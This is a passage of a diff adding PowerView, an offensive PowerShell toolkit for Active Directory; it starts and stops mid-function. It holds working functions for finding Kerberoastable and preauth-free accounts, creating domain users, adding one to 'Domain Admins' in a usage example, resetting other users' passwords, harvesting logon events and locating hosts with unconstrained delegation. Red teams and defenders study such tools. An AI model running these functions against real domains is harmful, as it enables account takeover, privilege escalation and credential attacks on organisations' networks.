$ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $UserSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + #bind dynamic parameter to a friendly variable + if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { + New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters + } + + if ($UserSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $UserSearcher = Get-DomainSearcher @SearcherArguments + if (-not $UserSearcher) { + Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $UserName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$UserName)" + $SearcherArguments['Domain'] = $UserDomain + Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'" + $UserSearcher = Get-DomainSearcher @SearcherArguments + } + } + else { + $IdentityFilter += "(samAccountName=$IdentityInstance)" + } + } + + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['SPN']) { + Write-Verbose '[Get-DomainUser] Searching for non-null service principal names' + $Filter += '(servicePrincipalName=*)' + } + if ($PSBoundParameters['AllowDelegation']) { + Write-Verbose '[Get-DomainUser] Searching for users who can be delegated' + # negation of "Accounts that are sensitive and not trusted for delegation" + $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))' + } + if ($PSBoundParameters['DisallowDelegation']) { + Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)' + } + if ($PSBoundParameters['AdminCount']) { + Write-Verbose '[Get-DomainUser] Searching for adminCount=1' + $Filter += '(admincount=1)' + } + if ($PSBoundParameters['TrustedToAuth']) { + Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals' + $Filter += '(msds-allowedtodelegateto=*)' + } + if ($PSBoundParameters['PreauthNotRequired']) { + Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' + } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + # build the LDAP filter for the dynamic UAC filter value + $UACFilter | Where-Object {$_} | ForEach-Object { + if ($_ -match 'NOT_.*') { + $UACField = $_.Substring(4) + $UACValue = [Int]($UACEnum::$UACField) + $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" + } + else { + $UACValue = [Int]($UACEnum::$_) + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" + } + } + + $UserSearcher.filter = "(&(samAccountType=805306368)$Filter)" + Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() } + else { $Results = $UserSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $User = $_ + $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw') + } + else { + $User = Convert-LDAPProperty -Properties $_.Properties + $User.PSObject.TypeNames.Insert(0, 'PowerView.User') + } + $User + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_" + } + } + $UserSearcher.dispose() + } + } +} + + +function New-DomainUser { +<# +.SYNOPSIS + +Creates a new domain user (assuming appropriate permissions) and returns the user object. + +TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/library/ee617253.aspx). + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +.DESCRIPTION + +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to create a new +DirectoryServices.AccountManagement.UserPrincipal with the specified user properties. + +.PARAMETER SamAccountName + +Specifies the Security Account Manager (SAM) account name of the user to create. +Maximum of 256 characters. Mandatory. + +.PARAMETER AccountPassword + +Specifies the password for the created user. Mandatory. + +.PARAMETER Name + +Specifies the name of the user to create. If not provided, defaults to SamAccountName. + +.PARAMETER DisplayName + +Specifies the display name of the user to create. If not provided, defaults to SamAccountName. + +.PARAMETER Description + +Specifies the description of the user to create. + +.PARAMETER Domain + +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword + +Creates the 'harmj0y2' user with the specified description and password. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$user = New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred + +Creates the 'harmj0y2' user with the specified description and password, using the specified +alternate credentials. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred + +Creates the 'andy' user with the specified description and password, using the specified +alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember +and the alternate credentials. + +.OUTPUTS + +DirectoryServices.AccountManagement.UserPrincipal + +.LINK + +http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('DirectoryServices.AccountManagement.UserPrincipal')] + Param( + [Parameter(Mandatory = $True)] + [ValidateLength(0, 256)] + [String] + $SamAccountName, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Alias('Password')] + [Security.SecureString] + $AccountPassword, + + [ValidateNotNullOrEmpty()] + [String] + $Name, + + [ValidateNotNullOrEmpty()] + [String] + $DisplayName, + + [ValidateNotNullOrEmpty()] + [String] + $Description, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $ContextArguments = @{ + 'Identity' = $SamAccountName + } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + $Context = Get-PrincipalContext @ContextArguments + + if ($Context) { + $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context.Context) + + # set all the appropriate user parameters + $User.SamAccountName = $Context.Identity + $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword) + $User.SetPassword($TempCred.GetNetworkCredential().Password) + $User.Enabled = $True + $User.PasswordNotRequired = $False + + if ($PSBoundParameters['Name']) { + $User.Name = $Name + } + else { + $User.Name = $Context.Identity + } + if ($PSBoundParameters['DisplayName']) { + $User.DisplayName = $DisplayName + } + else { + $User.DisplayName = $Context.Identity + } + + if ($PSBoundParameters['Description']) { + $User.Description = $Description + } + + Write-Verbose "[New-DomainUser] Attempting to create user '$SamAccountName'" + try { + $Null = $User.Save() + Write-Verbose "[New-DomainUser] User '$SamAccountName' successfully created" + $User + } + catch { + Write-Warning "[New-DomainUser] Error creating user '$SamAccountName' : $_" + } + } +} + + +function Set-DomainUserPassword { +<# +.SYNOPSIS + +Sets the password for a given user identity. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +.DESCRIPTION + +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to search for the specified user -Identity, +which returns a DirectoryServices.AccountManagement.UserPrincipal object. The +SetPassword() function is then invoked on the user, setting the password to -AccountPassword. + +.PARAMETER Identity + +A user SamAccountName (e.g. User1), DistinguishedName (e.g. CN=user1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +specifying the user to reset the password for. + +.PARAMETER AccountPassword + +Specifies the password to reset the target user's to. Mandatory. + +.PARAMETER Domain + +Specifies the domain to use to search for the user identity, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword + +Resets the password for 'andy' to the password specified. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred + +Resets the password for 'andy' usering the alternate credentials specified. + +.OUTPUTS + +DirectoryServices.AccountManagement.UserPrincipal + +.LINK + +http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('DirectoryServices.AccountManagement.UserPrincipal')] + Param( + [Parameter(Position = 0, Mandatory = $True)] + [Alias('UserName', 'UserIdentity', 'User')] + [String] + $Identity, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Alias('Password')] + [Security.SecureString] + $AccountPassword, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $ContextArguments = @{ 'Identity' = $Identity } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + $Context = Get-PrincipalContext @ContextArguments + + if ($Context) { + $User = [System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context.Context, $Identity) + + if ($User) { + Write-Verbose "[Set-DomainUserPassword] Attempting to set the password for user '$Identity'" + try { + $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword) + $User.SetPassword($TempCred.GetNetworkCredential().Password) + + $Null = $User.Save() + Write-Verbose "[Set-DomainUserPassword] Password for user '$Identity' successfully reset" + } + catch { + Write-Warning "[Set-DomainUserPassword] Error setting password for user '$Identity' : $_" + } + } + else { + Write-Warning "[Set-DomainUserPassword] Unable to find user '$Identity'" + } + } +} + + +function Get-DomainUserEvent { +<# +.SYNOPSIS + +Enumerate account logon events (ID 4624) and Logon with explicit credential +events (ID 4648) from the specified host (default of the localhost). + +Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This function uses an XML path filter passed to Get-WinEvent to retrieve +security events with IDs of 4624 (logon events) or 4648 (explicit credential +logon events) from -StartTime (default of now-1 day) to -EndTime (default of now). +A maximum of -MaxEvents (default of 5000) are returned. + +.PARAMETER ComputerName + +Specifies the computer name to retrieve events from, default of localhost. + +.PARAMETER StartTime + +The [DateTime] object representing the start of when to collect events. +Default of [DateTime]::Now.AddDays(-1). + +.PARAMETER EndTime + +The [DateTime] object representing the end of when to collect events. +Default of [DateTime]::Now. + +.PARAMETER MaxEvents + +The maximum number of events to retrieve. Default of 5000. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target computer. + +.EXAMPLE + +Get-DomainUserEvent + +Return logon events on the local machine. + +.EXAMPLE + +Get-DomainController | Get-DomainUserEvent -StartTime ([DateTime]::Now.AddDays(-3)) + +Return all logon events from the last 3 days from every domain controller in the current domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000 + +Return a max of 1000 logon events from the specified machine using the specified alternate credentials. + +.OUTPUTS + +PowerView.LogonEvent + +PowerView.ExplicitCredentialLogonEvent + +.LINK + +http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LogonEvent')] + [OutputType('PowerView.ExplicitCredentialLogonEvent')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('dnshostname', 'HostName', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = $Env:COMPUTERNAME, + + [ValidateNotNullOrEmpty()] + [DateTime] + $StartTime = [DateTime]::Now.AddDays(-1), + + [ValidateNotNullOrEmpty()] + [DateTime] + $EndTime = [DateTime]::Now, + + [ValidateRange(1, 1000000)] + [Int] + $MaxEvents = 5000, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + # the XML filter we're passing to Get-WinEvent + $XPathFilter = @" + + + + + + + + + + + *[ + System[ + Provider[ + @Name='Microsoft-Windows-Security-Auditing' + ] + and + (Level=4 or Level=0) and (EventID=4624 or EventID=4625 or EventID=4634) + ] + ] + and + *[ + EventData[ + ( + (Data[@Name='LogonType']='5' or Data[@Name='LogonType']='0') + or + Data[@Name='TargetUserName']='ANONYMOUS LOGON' + or + Data[@Name='TargetUserSID']='S-1-5-18' + ) + ] + ] + + + +"@ + $EventArguments = @{ + 'FilterXPath' = $XPathFilter + 'LogName' = 'Security' + 'MaxEvents' = $MaxEvents + } + if ($PSBoundParameters['Credential']) { $EventArguments['Credential'] = $Credential } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + + $EventArguments['ComputerName'] = $Computer + + Get-WinEvent @EventArguments| ForEach-Object { + $Event = $_ + $Properties = $Event.Properties + Switch ($Event.Id) { + # logon event + 4624 { + # skip computer logons, for now... + if(-not $Properties[5].Value.EndsWith('$')) { + $Output = New-Object PSObject -Property @{ + ComputerName = $Computer + TimeCreated = $Event.TimeCreated + EventId = $Event.Id + SubjectUserSid = $Properties[0].Value.ToString() + SubjectUserName = $Properties[1].Value + SubjectDomainName = $Properties[2].Value + SubjectLogonId = $Properties[3].Value + TargetUserSid = $Properties[4].Value.ToString() + TargetUserName = $Properties[5].Value + TargetDomainName = $Properties[6].Value + TargetLogonId = $Properties[7].Value + LogonType = $Properties[8].Value + LogonProcessName = $Properties[9].Value + AuthenticationPackageName = $Properties[10].Value + WorkstationName = $Properties[11].Value + LogonGuid = $Properties[12].Value + TransmittedServices = $Properties[13].Value + LmPackageName = $Properties[14].Value + KeyLength = $Properties[15].Value + ProcessId = $Properties[16].Value + ProcessName = $Properties[17].Value + IpAddress = $Properties[18].Value + IpPort = $Properties[19].Value + ImpersonationLevel = $Properties[20].Value + RestrictedAdminMode = $Properties[21].Value + TargetOutboundUserName = $Properties[22].Value + TargetOutboundDomainName = $Properties[23].Value + VirtualAccount = $Properties[24].Value + TargetLinkedLogonId = $Properties[25].Value + ElevatedToken = $Properties[26].Value + } + $Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonEvent') + $Output + } + } + + # logon with explicit credential + 4648 { + # skip computer logons, for now... + if((-not $Properties[5].Value.EndsWith('$')) -and ($Properties[11].Value -match 'taskhost\.exe')) { + $Output = New-Object PSObject -Property @{ + ComputerName = $Computer + TimeCreated = $Event.TimeCreated + EventId = $Event.Id + SubjectUserSid = $Properties[0].Value.ToString() + SubjectUserName = $Properties[1].Value + SubjectDomainName = $Properties[2].Value + SubjectLogonId = $Properties[3].Value + LogonGuid = $Properties[4].Value.ToString() + TargetUserName = $Properties[5].Value + TargetDomainName = $Properties[6].Value + TargetLogonGuid = $Properties[7].Value + TargetServerName = $Properties[8].Value + TargetInfo = $Properties[9].Value + ProcessId = $Properties[10].Value + ProcessName = $Properties[11].Value + IpAddress = $Properties[12].Value + IpPort = $Properties[13].Value + } + $Output.PSObject.TypeNames.Insert(0, 'PowerView.ExplicitCredentialLogonEvent') + $Output + } + } + default { + Write-Warning "No handler exists for event ID: $($Event.Id)" + } + } + } + } + } +} + + +function Get-DomainGUIDMap { +<# +.SYNOPSIS + +Helper to build a hash table of [GUID] -> resolved names for the current or specified Domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-Forest + +.DESCRIPTION + +Searches the forest schema location (CN=Schema,CN=Configuration,DC=testlab,DC=local) for +all objects with schemaIDGUID set and translates the GUIDs discovered to human-readable names. +Then searches the extended rights location (CN=Extended-Rights,CN=Configuration,DC=testlab,DC=local) +for objects where objectClass=controlAccessRight, translating the GUIDs again. + +Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.OUTPUTS + +Hashtable + +Ouputs a hashtable containing a GUID -> Readable Name mapping. + +.LINK + +http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([Hashtable])] + [CmdletBinding()] + Param ( + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'} + + $ForestArguments = @{} + if ($PSBoundParameters['Credential']) { $ForestArguments['Credential'] = $Credential } + + try { + $SchemaPath = (Get-Forest @ForestArguments).schema.name + } + catch { + throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest' + } + if (-not $SchemaPath) { + throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest' + } + + $SearcherArguments = @{ + 'SearchBase' = $SchemaPath + 'LDAPFilter' = '(schemaIDGUID=*)' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $SchemaSearcher = Get-DomainSearcher @SearcherArguments + + if ($SchemaSearcher) { + try { + $Results = $SchemaSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0] + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" + } + } + $SchemaSearcher.dispose() + } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" + } + } + + $SearcherArguments['SearchBase'] = $SchemaPath.replace('Schema','Extended-Rights') + $SearcherArguments['LDAPFilter'] = '(objectClass=controlAccessRight)' + $RightsSearcher = Get-DomainSearcher @SearcherArguments + + if ($RightsSearcher) { + try { + $Results = $RightsSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0] + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" + } + } + $RightsSearcher.dispose() + } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" + } + } + + $GUIDs +} + + +function Get-DomainComputer { +<# +.SYNOPSIS + +Return all computers or specific computer objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties samaccountname,usnchanged,...". By default, all computer objects for +the current domain are returned. + +.PARAMETER Identity + +A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. windows10.testlab.local). Wildcards accepted. + +.PARAMETER UACFilter + +Dynamic parameter that accepts one or more values from $UACEnum, including +"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. + +.PARAMETER Unconstrained + +Switch. Return computer objects that have unconstrained delegation. + +.PARAMETER TrustedToAuth + +Switch. Return computer objects that are trusted to authenticate for other principals. + +.PARAMETER Printers + +Switch. Return only printers. + +.PARAMETER SPN + +Return computers with a specific service principal name, wildcards accepted. + +.PARAMETER OperatingSystem + +Return computers with a specific operating system, wildcards accepted. + +.PARAMETER ServicePack + +Return computers with a specific service pack, wildcards accepted. + +.PARAMETER SiteName + +Return computers in the specific AD Site name, wildcards accepted. + +.PARAMETER Ping + +Switch. Ping each host to ensure it's up before enumerating. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainComputer + +Returns the current computers in current domain. + +.EXAMPLE + +Get-DomainComputer -SPN mssql* -Domain testlab.local + +Returns all MS SQL servers in the testlab.local domain. + +.EXAMPLE + +Get-DomainComputer -UACFilter TRUSTED_FOR_DELEGATION,SERVER_TRUST_ACCOUNT -Properties dnshostname + +Return the dns hostnames of servers trusted for delegation. + +.EXAMPLE + +Get-DomainComputer -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -Unconstrained + +Search the specified OU for computeres that allow unconstrained delegation. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainComputer -Credential $Cred + +.OUTPUTS + +PowerView.Computer + +Custom PSObject with translated computer property fields. + +PowerView.Computer.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. +#> + + [OutputType('PowerView.Computer')] + [OutputType('PowerView.Computer.Raw')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('SamAccountName', 'Name', 'DNSHostName')] + [String[]] + $Identity, + + [Switch] + $Unconstrained, + + [Switch] + $TrustedToAuth, + + [Switch] + $Printers, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePrincipalName')] + [String] + $SPN, + + [ValidateNotNullOrEmpty()] + [String] + $OperatingSystem, + + [ValidateNotNullOrEmpty()] + [String] + $ServicePack, + + [ValidateNotNullOrEmpty()] + [String] + $SiteName, + + [Switch] + $Ping, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + DynamicParam { + $UACValueNames = [Enum]::GetNames($UACEnum) + # add in the negations + $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} + # create new dynamic parameter + New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) + } + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $CompSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + #bind dynamic parameter to a friendly variable + if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { + New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters + } + + if ($CompSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a 